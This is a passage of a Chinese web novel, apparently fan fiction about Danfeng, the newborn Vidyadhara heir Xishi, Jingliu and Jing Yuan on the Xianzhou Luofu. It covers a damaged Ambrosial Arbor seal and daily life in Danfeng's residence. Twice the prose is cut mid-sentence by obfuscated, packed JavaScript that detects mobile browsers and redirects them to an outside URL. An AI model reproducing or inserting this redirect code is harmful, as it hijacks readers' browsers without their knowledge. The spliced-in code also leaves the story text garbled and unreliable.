易风照常摆摆手,算是免了他的客套话,“两个龙尊,可是真稀奇……有那样的剑,这小家伙也是古怪得很。就是不知,你我何时正式会上她一会?” 腾骁面色为难,抬手摸了摸眉毛,暗红色的眸光中只有沉静。 “是啊,一个横空出世的持明少主,还拥有跟丹枫比过之无不及的云吟天赋。饮月君万世一身,那么,不妨猜一猜,她是因何而降生的呢?” 见易风屏息沉思,腾骁阔步坐下,饶有兴致地又倒了两杯鳞渊春,伸手递给易风解乏,笑盈盈道:“又或者,她的出现就是目的?” “但咱们可不着急。听说她选了丹枫当监护人,跟她见面这事,自然是不成问题。” 易风只是无奈地看了他一眼。 站在这个位置上,腾骁早就不只是腾骁了。 不论是定国安邦还是上阵杀敌,越是身居高位,越要沉得住气。 7. 第7章 与此同时,波月古海出了一桩乱子。 十王司法器显映下,水雾迷离的幻像消散,原本完好的8号玄根封印处展露出一个芝麻大点的缺角。 盘旋成结的建木玄根散发着幽绿微光,蠢蠢欲生,但囿于不朽设下的神力禁锢而未能肆意妄动。 丹枫出征前,特地进行过一次建木封印。 没想到,会有人趁他不在,试图解开丰饶祸迹的封印力量。 鳞渊境是持明圣地,平日里只允许持明族人进出。在这里,一般的护珠人负责照料深海的持明卵,洞天则由深蛟队的护珠人日夜巡察,古海深处更有海月队的精壮青年负责看守建木封印。 可洞天太过辽阔,古海与丹鼎司洞天相通,有时免不了会混入一些诸如偷盗鳞渊天冬等药材的不法分子,更别提罗浮势外那群对建木觊觎已久的丰饶孽物了。 一时间,众人还真不好判断,到底是谁动的建木。 最有可能是丰饶星神的令使,仙舟联盟最头疼的对手:不死的倏忽。 可根据玉阙仙舟瞰云镜扫视寰宇的结果,在覆灭苍城仙舟后,倏忽围困玉阙时遭到罗浮将军和曜青将军驱逐重伤,百年来并不怎么活跃。 经由玉阙太卜竟天观测,倏忽并未集结爪牙在诸界作孽,反而正随帝弓司命的辙迹,似乎是要去拜谒祂追杀的寿瘟祸祖。 寿瘟祸祖,即赐予生命不死而招致诸星贪夺长生引发祸乱的丰饶星神,也被信徒称为药师。 倏忽离罗浮仙舟,目前也远得很。 …… 经丹鼎司和太卜司再三查探,封印破坏处的残余力量所剩无几,可以说是无法捕捉到丝毫。 也就是说,这处缺口已经存在很久了。 最久可以追溯到丹枫离开罗浮仙舟的那天。 “幸得将军大人和十王提醒,没想到真有人竟敢在暗中破坏建木封印,实在是罪无可赦!我等有失察查,亦有大罪,还请镜流大人如实禀报腾骁将军,务必要揪出包藏祸心的贼人。若六御和十王司需要我持明族内配合,尽管直说!” 似乎明白了事态严重性,龙师雲光负手而立,眉头紧锁,本就不年轻的面容显得更加沧桑。 同样严肃表情的还有腾骁派来检查建木情况的云骑,来自苍城仙舟的剑士、如今罗浮最善战的云骑骁卫,镜流。 女子一头冷白渐变为浅蓝灰的及腰长发束成利落的高马尾,身着白蓝交织的日常戎装,一双及膝长战靴踩在巡视的星槎地板上,威风凛然。 镜流面色冷若寒霜,眼神带着超乎一般剑士的坚毅,严厉嘱咐道:“尔等是否失察,自有十王与判官定夺。封印虽为持明族看管,但建木的存在非比寻常,稍有不慎会给联盟引来灭顶之灾,六御和十王司都关注得紧,元帅也是如此……” “所以,不论如何,各位一定要格外慎重。人要揪出来,建木也不容再次有失!” 雲光沉沉点头。 他转身,厉声交代护珠人:“通知海月一二小队,增加枝杈标记点的巡逻记录次数,每刻记录一次,同时让蛟龙一队与三队轮值,必定得昼夜盯着建木不可……” “……跟工造司定二十只机巧鸟,分时段监视建木所在海域。我倒要看看,是谁胆大包天,竟敢公然挑起持明族和仙舟的嫌隙!” “再请丹枫大人过来一趟,算了,我晚点亲自去龙尊府上请吧……” 过了一会儿,镜流和雲光在商量布防时,一名云骑疾步前来。 星槎门前的护珠人拦下他的步伐,按规矩,须得先读取他的腰牌信息,确认无误后才放人进来。 “报,镜流大人!我是星槎海的驻队云骑,接星槎海群众举报,目击疑似通缉重犯者在东侧码头出没。队长正在暗中跟踪侦查,为防迂回争战伤到民众,特请您前往相助!” “稍等,我马上来。” 说罢,镜流看了眼天色。 来的时候临近日出,如今已经日上三竿。 春日的阳光和煦,同海风一起,轻拂过天地的造物,驱散了笼罩在大家身上的战战兢兢。 镜流停顿片刻,朝雲光再度开口道:“雲光长老,我有个新收的小弟子名为景元,此刻应该还在古海边上闲逛。若是护珠人看见了,请麻烦您让他把景元完完整整地送回长乐天。” “大人放心就是。” 雲光连连点头,玉兆叮咚作响,即刻通知巡视海岸线的护珠人小队。 * 汐识失踪的事暂时告一段落,眼下,波月古海又恢复了昔日的平静。 持明汤海,胜境难再。游者目之所及的景象,包括汤海之一的波月古海,皆是持明故土的一部分。 但如每个人看到的那样,它们悉数毁在了雨别手中。 古海潮汐起落,波涛与幻梦在万水的行迹中静默流淌,昭示不朽的往昔。 完成巡逻任务的一队护珠人立于海滩休憩,眺目远望古海时有说有笑,还有个护珠人正在给小朋友讲持明卵的故事。 “承载生命的古海之水与罗浮持明的血脉相依,别看临渊府那群龙师成日里吹胡子瞪眼的谁也不服谁,更不把我们这些人放在眼里,但无论是他们还是我们持明黎庶,都离不开古海的赐予新生。” “持明一世平均七百载,长的也有千岁,但寿尽之日,我们都会踏入海中化为持明卵,洗涤往世记忆,等待下一世的新生。” 景元仰着头,琥珀色的眼眸阳光又坦率,想了想,他问:“也就是说,持明族都是一个人转世轮回,那,就没有什么例外情况吗?比如,头上长着龙角的人?” “龙角?那就是龙尊了。容我想一想……”护珠人拖长了嗓音。 很快,他摇了摇头回道:“还真没有。即便是龙尊,还有新生的少主大人,也都要在持明卵内经历蜕生期。” 景元露出恍然的神色。 持明族内唯龙尊才有龙相,也就是说,他刚刚遇见的是持明族的小少主。 不知道她有没有去地衡司? 没有家的小持明,听起来怪让人难过的。 他想着,主动问起护珠人有没有别的故事听。 仙舟三族互有交集,跨族成家者不在少数,民间戏乐里最不缺的就是各族间的爱恨情仇。 仙舟天人重恩情侠义,狐人歌颂自由与正义,持明族不一样,持明时调一出场唱的就是或失之交臂或大业未成的种种悲剧。 护珠人点点头,脸上乐呵呵的,滔滔不绝地给天人族小友讲持明族的奇趣往事。 “丹鼎司有个贩卖药材的持明药商,相当有经商头脑。大多数持明族人在寿尽前都看过人世繁华,有不愿放手的东西,所以族人蜕生前会把前世的东西寄存在她那里。” “但是吧,持明转生,前世之忆一笔清销。刚蜕生不久的持明族大多因缺乏记忆而感情淡漠,即便有人带着信物去蜕生,对前世的记忆也有限。很多人理解不了前世自己的做法,因此,只有很少数人才会取回放她那里的东西。这可让她赚了个盆满钵满,简直是一本万利啊!” “等她蜕生了,我也搞一个这样的副业,嘿嘿,不如就在她原来的位置接生意怎么样?等人蜕生了,我再把这生意传回去……” 景元颇有兴致听着,时不时点头附和。 直到护珠人收到消息在外说了几句话,商量分工安排又各自分开,他才在海风漫长无声的吹拂中揉了揉惺忪的睡眼。 忽然,他瞧见古海里出现一个琉璃瓶子。 细看之下,是个随波逐流的小漂流瓶。 一时间,景元颇感好奇,索性闲着也是闲着,就跟着海水流动的方向一起同行。 海浪掀起古海的白日梦,金丝织就的水波随潮汐的起伏行走,犹豫了好一会儿,才将漂流瓶送给一路追随的小朋友看看。 景元弯腰捡起,好奇端详。 里面装的是一颗花种。 一颗像小鲸鱼形状的浅蓝色花种。 此时护珠人的影子再次出现,还以为镜流的小弟子不见了,急匆匆追过来,见到景元完好无损才悄悄松口气。 他的视线越过景元小朋友,往漂流瓶里装的东西看去,语气讶异道:“这是,无尽汐?” 景元不解其意。 护珠人知道眼前的孩子求知欲有多重,所以没有多说别的,只解释道:“这是持明故星的花,花香淡雅,相传是一种高贵古韵的深海之花,据记载早在数千年前灭绝。” “直到去年少主大人降世,无尽汐重新现世,甚至还能在陆地上生长,也是奇事一桩。” “苍城梅花虚陵柏,罗浮金莲曜青荷。可惜,大约一千年前苍城仙舟罹难,就是幻戏里常演的被活化行星吞噬的那个,唉,我们持明族也早已故星不再……” “要不是龙师下令不可擅自移植新生的无尽汐,以防再次灭绝,这花恐怕早就被咱们搬空了!哈哈,持明转世这么多次,哪个族人不想养点最初的家乡才有的花草呢?” 景元抬着头,将小巧精致的瓶子高举于日光下观赏。 良久,他带着这个年龄还没完全舍去的稚音,出声问:“我听过学宫里的先生讲过苍城的历史,天舶司里有苍城梅的虚拟影像,我还问过伏苍司舵它的花语是什么,司舵大人一边叹气一边看着我说,‘是不屈之志’……无尽汐,很好听的名字呀,不知它的花语是什么?” 护珠人挠挠头,几经沉默。 最后,他翻了翻手中的玉兆,对着潜渊阁记录的文本念出声:“我看看……雨别大人曾记录,无尽汐的花语是:潮汐般永恒的崇高,月光下平等的宽恕,以及,与等待相争的无尽希望。” “还真是美好的寓意哪。我们持明族等待的太久,在仙舟待的也太久,可岁月从不饶人,每个持明族人都在往前走,也不知如今两位龙尊继承人同世而立,我们的未来会迎来怎样的光景?” “小友年纪轻轻,既是镜流大人的弟子,必有自己的过人之处,没想到这运气也是羡煞我等。” 护珠人轻笑,收回了看向花种时走远的温和瞳光。 “嗯嗯,那敢情好,捡到了那就是我的了。”景元弯了弯眼睛,仰着脑袋,若有人凑近,还能看到他眼中花种在瓶中安睡的小小倒影。 他继续说:“持明族的珍奇花种难得,我可得好好照料,真期待它开花的那一天。” 过了半刻钟,景元知晓镜流今日忙碌,本想请她教习剑法的事情暂搁,乖乖在护珠人的护送下回到长乐天的家中。 周末学宫放假,课业他第一天就完成了。 待过几年学宫结业后,他并不想跟身为地衡司学士的父母一样劳形于案牍文书,反而有意加入云骑或者当个游历四方的巡海游侠。但家族的人听后,只当他正是贪玩的年纪在胡话。 巡海游侠惩歼除恶,地衡司的人也要面对不少无理取闹之人,再加上仙舟人尚武尚德,因此,一身好武力相当重要。 如今景元虽还在学宫求学,却已经拜云骑骁卫中用剑第一人——镜流为师。 正所谓“行百里者半于九十”,要想有个好体魄,自然不能疏怠日常的训练。 景元根据镜流安排的日程进行锻体,每日挥剑斩击一万次、刺击一万次,在院子里练了约莫一个时辰。 之后,活力满满的他爬上院子里的银杏树闭上眼晒太阳,待小憩醒来时,少年肩上站着两只圆鼓鼓的小团雀。 日光朦胧间,他转头,和小团雀们一同看向窗棂阴影下亮闪闪的琉璃瓶子。 不容忽视的,是瓶底那一抹清丽的蓝色,如此耀眼。 景元倚在树枝上,垂睫打开玉兆翻看,消息记录里有护珠人发来无尽汐的醒种教程。 片刻后,他目光炯炯从树上跳下来,当即开启了种花大业。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318903|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 至味盛苑,仙舟厨艺登峰造极的餐馆,一日一席,一座难求。 “琉璃舟。文火轻炙蟹壳作木舟,取蟹钳肉混合翔鲟鱼胶捶打成肉丸,再用竹筒注入蟹黄流沙心,蒸熟后表皮剔透似美玉,鲜香醉人,故此得名。” “醉红溪。鲜活缘虾覆以杏花佳酿轻煨慢煮,酱汁独家秘制,光闻着就味贯天灵。” “清泉石上流和仙舟永狩还需等上一刻钟,两位贵客先吃好,我在门外等候,有事情随时叫我。” 上菜的侍者走前,询问是否需要什么小点心。 丹枫看着忽然间垂头丧气的小持明,点点头,让他再上一份不太甜的仙舟甜食。 侍者应声离去。 “怎么了,是不是刚刚打斗中伤到了?” 丹枫说完,抬手拎起她细白的手腕,利用云吟医术查探经脉是否异常。 面对忽如其来的关心,汐识若无其事地摇摇头,解释说:“没有。就是,这个闻起来没有味道,那个也没有味道……他说的味道,我都没有闻到。” “哦,只有吃起来的时候有味道。” 她想起今早遇见的那个小少年。 焦香的味道? ……也没有闻到过。 自始至终,汐识感受到的只有空气里风的冷暖。 丹枫看出身边人的郁闷,松开搭在她腕间的手,又给她递了一杯温水压压惊。 雕花窗外的阳光洒落两人半身,扇形的阴影挂在他长睫下,丹枫看向汐识,日光照得她全身笼着一层柔和的蜜糖般的光晕。 她双手捧着茶盏,浅浅地呼吸着,眼睛又是雪蓝色的,像雪山里白绒绒的小兽,精致漂亮得不像话。 丹枫望着她,欲言又止,最终发出一声轻不可察的叹息。 实验品不总是完美无缺的。 正在此时,侍者端着一碟新出炉的热浮羊奶酥,放到汐识面前。 汐识用瓷著夹起,闻了闻还是没有味道,轻咬一口,面无表情地感受糖奶混合物的细软口感。 第二口,汐识懵了一下,脸上写满了难以置信。 她轻轻吸了吸鼻子,淡淡的奶香甜味自手中的浮羊酥传来。 丹枫见她跟入定了似的,开口淡声道:“浮羊酥本就味道轻不可闻,你不必放在心上。” 汐识眨了下眼,然后摇头:“我好像,忽然能闻到味道了。” 不知道为什么,耳边似乎有泠泠作响的清泉水声。 丹枫:“……嗯?” 这怪病来的快,去的也快。 汐识仰着头看他,展出一个软而暖的笑容:“谢谢你带我来这里。” 她说完,就不管丹枫了,没看见他脸上下意识一闪而过的轻笑。 丹枫见她吃得正香,谴责了自己半分钟后,决定吃掉她最后一块热浮羊奶酥。 失踪一天半,来此前只吃了一串鳞海星星。汐识盯着云淡风轻的丹枫,片刻后说:“好过分!你多大了,还跟我抢东西吃!” 丹枫点点头,回她:“不是说,按辈分你是我祖宗吗?” 汐识不想反驳这个事实,别过脸去,决定不看他,顺道补了一句:“不肖子孙!” 丹枫照旧点点头,没有在意幼崽的指指点点。 —— 《有关「不朽」的悼言集·其一》 作者:「终末」·「悼亡诗」·路兆天 来做个交换吧。 有关「不朽」的交换。 我目睹一汪净海,一只潜渊的巨龙。 那巨龙对我启口: 敬请聆听:有关「不朽」的悼言。 不朽的人、轮回的人,自净海深渊前来,个体的生命在群星「熵变」中徒长。 走吧,只管跟着万水的行迹随波逐流,你终将回归我的本心,只须由着潮汐起伏的海水前进。 可那海水的波动从来不随月定,它洞穿龙裔,变作新生的死亡。 龙祖陨落、末裔奔逃,因为万水的轮回之渊会引来群狼环伺,遭遇一场预谋的追夺。 但新生的稚子,请务必不要惊惶! 会有光矢到来,肃清贪婪的孽障; 你要循着预谋的源头,拜谒身陨所向—— 古海保守秘密,潮汐连接万水的血脉。 但它噤声,仿若深渊尽头的迷雾; 聆听潮汐,你将知道万水在何处归一。 令巨龙怒斥天地吧,它们说, 一次、 两次。 微小的卵壳将长大成人,天地自眼界中广阔,为你祛除怯懦与骄矜。 蒙上双眼吧,它们说, 勿要迫近的迷茫使你心神摇曳, 因为它要教你的灵魂如黑夜般混乱,双脚变得如蜃影不知前进。 推开那粉饰了历史的龙宫吧, 它们说,捡起日月星辰。 高仰苍穹,见到那血肉是何物所炼, 识得那潮汐为何人所奠! 然后,它们说, 抵达万水的人啊,到包容一切的净海去! 加入这盛葬的悲悼与欢宴, 听亿万又亿万颗持明记忆的泡影, 敬你入骨—— 看那宫廷的龙臣巧言令色, 仆者唯命是从。 听风雪的光芒峥鸣,潮汐无梦,万花逐尘, 恭迎无尽的奇迹。 最终,以你的身躯丈量生命,将种种背叛铭记于心。 它们说,这正是你应随波逐流的道路—— 万水归一,再度选择吧,万水归一! …… 无数潮汐起伏在未知的稚水中, 如果跟随了正确的水流, 它将把你的愿望, 带向万古崇高的远方。 (未完待续...) 8. 第8章 翌日,阴云侁侁,风雨晦冥。 汐识醒来时,耳畔唯有外面的雨打飞檐声。 她懒懒起身,拉开纱帘,趴在窗沿上往外看,静静呼吸了会儿新鲜空气。 许是前两天折腾得太累,再加上昨晚没做梦还洗了个温水澡,总之是睡得格外好。 身为龙尊,丹枫居住的府邸是相当大,堪比长乐天的一整个庭园飞岛。 汐识的住所跟丹枫紧挨着,相距一道长廊。 外面中庭广阔,曲廊高阁相连,朦胧雨幕中,有棵挺拔的红枫立于溪径凉亭旁。 府内各处有卫兵把守,毕竟龙尊身系建木封印之责,不容有失。 屋内也是宽敞明亮,光她住的东阁就涵盖长厅、书房和二楼的卧房与洗漱间,整个阁楼的设计素雅大方,低调中不失奢华。 隔区所用的屏风为鳞渊境云销雨霁的景象,画风古朴典雅,乃仙舟的归隐画师所作。靠近屏风的一侧有个悬空的羊脂白玉兆,是形如明珠的智能家居管家,光芒温润,乍一看还以为是海底的明珠。 且不说丹枫摆正堂那一架子绝版卷轴和古书,就连府内的桌椅床柜,那都是请了雕工木匠统一用寒泉洞天的沉香木精琢的。 龙,长大后可以很有钱。 汐识想着,在心里为自己的判断拍手叫好。 昨天回府前她去了趟丹鼎司,把琼实鸟串和剩下的巡镝交给蝶宇,当时蝶宇在试药,最终由在院子里分药材的丹朱代为转交。 然后汐识就带着对方送她的一根琼实鸟串回来了。 汐识做了个深呼吸,伸手触碰窗外的雨,眼中再没有多余的情绪。 空气里夹杂着淡淡的药草香。后院有个水轮风车,那儿的药田里种着不少药草。 罗浮持明为饮月君一脉,座下的云吟术不只有控水驱武之用,更有不可思议的疗愈之能。对普通人而言,掌握其一即是不凡。 护珠人以云吟操控武器,维护鳞渊境洞天的安全。在罗浮仙舟的丹鼎司中,半数医士和丹士是行医治病的持明族人,有的随军医士还会自请去战地医院。 丹枫,他就属于能打能疗的全才。 神情凝有一丝慵懒,跟玉兆走程序似的,汐识按部就班地完成各项洗漱,最后坐到镜前,对另一个长着龙角的小持明发呆。 成为持明少主的第四天,头上多了一根影响少主大人形象的呆毛。 睡着的时候压着头发了,怎么也梳不下去。 汐识刚走出东阁,不料门外竟站着一个再熟悉不过的人。 他手中拿着一杆长枪,身着黑色劲装,枫红腰甲收束修长的身形,看方向是从练武室过来的。 “早上好,丹枫。”汐识主动跟他打招呼。 虽然直呼其名,但还是要尽量忍住喊丹枫不肖子孙的冲动。 丹枫见她起这么早,微微一怔,轻点头,淡声回她:“早上好……” 似乎有什么地方不对称,他轻蹙眉,没有继续往下说。 “汐识,我的名字是汐识。潮汐的汐,相识的识。”汐识朝他歪了下头,声音带着幼崽该有的清甜软糯。 于是丹枫收起了打量她头上呆毛的目光,半阖着眼,再次回应她:“早上好,汐小识。” 说完,他眉眼间的愁绪并没有化开,反而还加重了。 昨天有话没有问完,面对一个不谙世事的可爱幼崽,丹枫一时间不知道怎么开口。 龙师,持明族德高望重的长老。事实上,他们也是为龙尊日后龙狂发作而准备的刽子手。 换句话说,大早上的,提起龙师就觉得晦气。 但碰都碰上了,丹枫倒是不紧不慢地迈着步子,带她去吃早饭。 吃完半盘热腾腾的缘虾饺不够,又来了小碗淋着玉阙帝流浆的紫芋艿粥,旁边侍女微微一笑,最后不忘递给汐识一瓶明月弓蕉和热浮羊奶打成的奶昔。 侍女问她要不要尝一下。 汐识点点头接过去,不经意间又看见了沉默进食的丹枫。 大人们总是这样,沉默的时候自带一种难言的冷漠。 她想到梦中的雨别,那人立于花海间沉默,眼底总带着一种,一种…… 怎么说? 一种锐利的哀伤,但神情却很平和。 汐识以为自己没用丹枫给起的名字,所以身为监护人的他有点闷闷不乐,垂着脑袋兀自思考。 大约一个小时后,丹枫去书房处理堆积数日的公务,让侍女带着汐识玩。 因久坐感到疲敝,丹枫抬眼间,一个白绒绒的脑袋从他正对面冒出头来。 汐识正趴桌子上看他,不知想要做些什么。 “嗯?”他眼皮微跳,发出一声疑惑。 汐识认认真真地回他:“等你小了我也给你起名字,当然,你也可以不用。” 丹枫:“……” 首先,她得能活到那个时候。 他眼中倒映着汐识的身影,满桌的案牍文书也倒映其中。 良久,丹枫轻叹口气,盯着汐识没来由的一份承诺,一时不知该怎么回答,最终只是轻嗯了一声。 汐识,一个承载雨别力量才得以拥有新识的族人,并非不朽赐福的正常生命,却拥有令人忌惮的非凡力量…… 她的出现,早晚只有一个结局。 寂静书房内,汐识看他拿过一本本卷轴,时不时浑身散发出凌厉的冷意,好像还是因人而异的,只觉很有意思。 然后就继续盯着他。 旁边侍女和近卫看着两位大人的相处方式,面面相觑,最终选择加入唯有沉默的氛围中。 不久,汐识感到无聊,决定到书架上挑本书看。 旁边侍从见她够不到,好心帮她拿了最上面的《云骑武经》。 云骑武经,每个云骑新人必备手册,其中记载了传说中天仙化人才能达到的境地,比如什么分秋毫、碎昆冈、转阴阳、追流光、挽千浪、逆岁光……总之,说的神乎其神。 仙舟素来讲究眼见为实,汐识也不知道有没有这样的人。 她坐在丹枫对面,时不时翻一页书。 书中序章记载,仙舟联盟由天人族、持明族和狐族共结,因各族身体条件不相同,入伍的云骑军训练重点也不同。 仙舟天人族是本地民,曾蒙受建木的丰饶赐福,成年后形体和样貌不老,体质强悍,再生能力强。只要没灰飞烟灭,被砍成半个人都能张回来。 持明族自深海水压蜕生,基因自带的力量强悍,又有云吟术操纵重戈。可惜是个脆皮,一重伤就容易没,并且,人没了若是没有及时去古海化卵,那就真没了。持明族中,龙尊是最接近不朽的存在,其容颜不改、龙相瞩目,无怪乎龙师不让丹枫去战场送死。 至于狐族,反射神经灵动异常,热爱自由与天空,多为斗舰飞行士。狐族的寿命是三族里最短的,不过四百载,论力量和体质比不上持明族和天人族,但机动性和灵活性很强。 还有化外民,即来仙舟生活或者仙舟救助收留的短生种。他们各有所长,额,就是活得不太长。 “对了,昨天在长乐天的时候,你要问我什么来着?” 手中的书一页页翻着,汐识头也没抬,只是太安静了所以找点话影响丹枫一下。 也不知道他看到了什么,外面下着雨,屋里反倒是越来越冷了。 丹枫低头批阅公文,眼中倒映着文字,眉心忽而收敛了愁绪。 他淡声开口:“仙舟有黉学教稚子基础知识,结业后,六岁左右可入六御的附属学宫,课业佼佼者通过体制选调能够入六御实习。” “仙舟人口繁杂又处于征战时期,工作生活少不得必要的各种知识储备……你也不例外。” “若要追求学术,罗浮的善宏学宫培养过不少博士,也和地衡司的学士常有交流。” “……仙舟上保留了不少古制,比如女子及笄之年被认为是成年,你若对天舶司的飞行士有兴趣,到年龄了可以考取驾照。” 但在这里生活也有不少限制,天人族一般满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318904|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两百岁后可取得成年资格考核证,比如可以看一些更为恐怖血腥的幻戏等等。 这主要是为了方便六御对仙舟民众的管理。毕竟,你也不知道那些无所事事守着祖产的人会因为无聊干出什么事情来。 “持明族因为蜕生机制,自然跟他们不同,族人识文断字学的快。像你我比较特殊,生而知之。” “我打算明天带你去地衡司注册身份信息和去黉学报道,过两天直接参加学宫升学考。想来以你的天赋,去学宫并不难。” 听着丹枫的解说,汐识点点头。 丹枫看着汐识,顿了一下又道:“族内的云吟术么,我倒可以教你。只是,我忙碌政务和云骑军中,俗务缠身,不常在府内,怕是无法顾及到你。” “……临渊府的龙师人数不少,教你也勉强能教上点东西。汐识,你想还让哪位长老当你的业师?” 有时候很羡慕汐识,龙师简直是顺着哄她。 那群长老眼瞅着两人都是目空一切的冷性子,思及丹枫的雷霆手段,生怕往后汐识也给他们刚起来。 在丹枫这里,每天都有数不清的龙师会议等着他。 年轻的时候算计刚蜕生的龙尊,后来丹枫掌权又有自己的龙卫,龙师被他时时防着,平时定个什么族内发展规划都得三催六请的,一把年纪了老受罪了。 正所谓生的早不如生的好,丹枫这个前浪,算是给后浪当了一回试刀石。 汐识想了想说:“非要来一个的话,那就明宴长老吧。” 丹枫追问:“为什么?” 汐识懒懒回道:“因为她长得很让人放心。” 明宴黝黑的眼睛十分清亮,那份柔和不止是对汐识,还有其他小族人。 丹枫:“……” 他现在开始怀疑这话的针对性了。 雨别到底造出来个什么性子的小持明? 说话的时候大部分听起来让人心梗,不说话的时候又令人无法下手扼杀。 丹枫轻叹一声,点点头,算是认可这个理由。 他修长的手指在玉兆上敲打消息,冷不丁地朝汐识说了句:“等会儿你跟我去临渊府。” 汐识摇摇头:“你和龙师吵得不可开交,不爱听,不去。” 丹枫:“嗯?” 汐识点头,“嗯。” 丹枫:“……” 虽然被幼崽义正言辞地拒绝了,但丹枫并没有放弃。 昨日昨天镜流和雲光查探建木,晚上雲光来府里见他,丹枫就知道建木出了问题。 他打算带着她去建木封印处。 汐识读了大半云骑武经,等知识学累了,又单手撑着脸看丹枫。 丹枫眸光一点点移向她,低声问:“在看什么?” 汐识毫不避讳,回他:“看你怎么当龙尊。” 丹枫轻呵一声,又开始忽悠她:“你跟我去临渊府,我教你怎么当龙尊。” 汐识来了兴致,但身为持明族的少主大人,在这个所谓的正统第一继承人面前还是要面子的,刚说出的话不能轻易收回。 “龙师们又要高谈阔论了。算了,都这样了,我就勉强一下自己跟你去吧。毕竟同一屋檐下,以后咱们俩就凑活一下过吧。” 她话说的理所当然,给丹枫听笑了。 丹枫:“谁跟你过?” 汐识跟他小眼瞪大眼,语气里还有几分震惊:“嗯?你怎么一点尊老爱幼的品质都没有!于情我是个幼崽,于理我是你祖宗……” 她碎碎念的同时,丹枫还在想是谁动了建木封印? 重新加固建木封印并不难,但要查是谁破坏的封印,这确实是一桩麻烦事。 压下这份不痛快,丹枫轻快地拎着口口声声说是他祖宗辈的小持明,在她没反应过来要挣扎的时候,松开对她的束缚,让她稳稳落地。 碰的一声,他把门关上了。 汐识愣住,朝紧闭的木门看去,一脸难以置信。 最终,小祖宗如是说:“不肖子孙!” 9. 第9章 门外面没了某人无聊踱步的动静,丹枫的视线不由透过窗户往外打量。 不远处,汐识在回廊里,利落地翻过栏杆,正对着一棵仙舟上特有的建杏蹲下来。 杏花疏影里,她双手朝上交叠,掌心里捧着一只淋湿了的雏雀,为它提供立足之地。 汐识带它到廊下避雨。 很快,小团雀啾鸣了几声,扑腾掉翅膀上的雨水,丝毫不怕生人,还顺势蹭了蹭她温凉的手心。 等雨停后,雏雀在她的护送下飞向树杈和廊檐间的鸟巢,换来汐识一个明目张胆的笑颜。 丹枫眼中闪过一丝神伤。 身为以护短出名的持明族的幼崽,她跟别的小孩子格外不一样。 根据他的观察,汐识脸上时常挂着丝毫没有的表情,有也是执拗的傲气,少有安心的笑容。 其实,她对待弱小的生命时,要比对他们这些大人要耐心得多。 龙师心术不正,丹枫也有所权衡,他们的关系称不上尊老爱幼…… 或许,这源自幼崽潜意识的洞察力吧。 转眼间,细雨又开始落个不停。 丹枫派身边侍卫去喊汐识回来,说让她好好呆着别乱跑。 等汐识趴在桌案上开始犯困时,丹枫才起身,说要回屋里换身常服。 屋外,汐识看他的架势仿佛要一个人走,脑海里闪过画面:丹枫就那样挥一挥衣袖,不带走一个小祖宗。 她跟了上去,从门前廊柱旁冒出来,又一步一步慢慢地挪到要出门的丹枫跟前。 汐识抬头看他:“那个,你要去哪?” 丹枫:“临渊府。” 汐识又问:“不带我嘛?” 丹枫垂在身侧的手指微颤,仍面不改色地陈述:“是让他们听见你直呼我名字,还是听你喊我那声……嗯?” “临渊府的架是吵不完的,龙师和龙尊历来互相制衡,他们可没这么好对付,你的一字一句都会成为离间你我的把柄。” 汐识思索半晌,说:“哦,好大的雨。听说仙舟人造洞天的天气都是地衡司风雨台控制的,你这么大个龙尊,可以让雨停下来吗?” 丹枫点点头:“倒是可以。” 有点费力,但不难做到。 片刻后,他看向垂着脑袋思考的汐小识,又加了一句:“等你长大了,也可以做到。” 雨别可是把他那一世的力量和记忆全给了她。 “嗯?” “你不是龙师们引以为傲的少主大人吗,不会这点想法都不敢有吧?” “说什么呢,我只是在想什么什么时候才能长大。” 她看向丹枫,又低下头,混着雨声悄悄问了句:“在你眼里,我也是一样的存在吗?” 她的声音本细若无声,却仿佛鼓声一字字敲在人的目光中,最后混着破碎的雨声落在某人的指尖。 丹枫淡然目视前方,手指微不可察地轻颤了下,权当没听见。 最终,小祖宗将头撇向一边。 她闭了闭眼,不情不愿地转回头,仰着脸盯着丹枫好一会儿,然后喊了一句:“哥哥。” 霎时间,近在咫尺的雨声仿佛变得格外遥远。 汐识听见了一声轻笑,又怀疑那只是自己的错觉。 丹枫蹲下身和她视线齐平,目光相接的一瞬,他朝她伸出手,轻声道:“汐识,记住你今天的选择。” 语罢,他牵着人去临渊府。 龙师要利用她。 傀儡也好,借刀杀人也罢,一想到有龙师会被他们兄妹情深的模样气死,心里就觉得高兴。 * 临渊府。 午后的临渊府,出乎意料的安静。 汐识适才拜了两个业师,一个是明宴一个是雲光,剩下的时间,就竖着耳朵听外面几波人咋咋呼呼的吵架。 “明宴也就罢了,他雲光凭什么成为少主大人的业师!” “韶英你可省省吧,你和雲光管着护珠人,你俩谁当业师有什么区别呢?倒是风浣,你个小年轻凑什么热闹?”一把年纪的雪浦表面上劝架,内心也是痛心疾首。 自收到丹枫生死难明的消息,雪浦便欲图以龙师议会取代龙尊专权,可惜被从古海里翻出来的小祖宗给搞没了。 这下好了,龙尊一来来了两个。 总之是怎么也轮不到他龙师掌权的时候了。 “我不服。明宴负责药田和贸易往来,除了钱能有什么好东西教给她?龙尊素日公务繁忙,不如跟我学云吟术,除了丹枫大人,在场的还没有我风浣不敢挑战的!” 风浣和雪浦,在持明族负责监察拘捕和刑罚处置,一小一老,声音格外大。 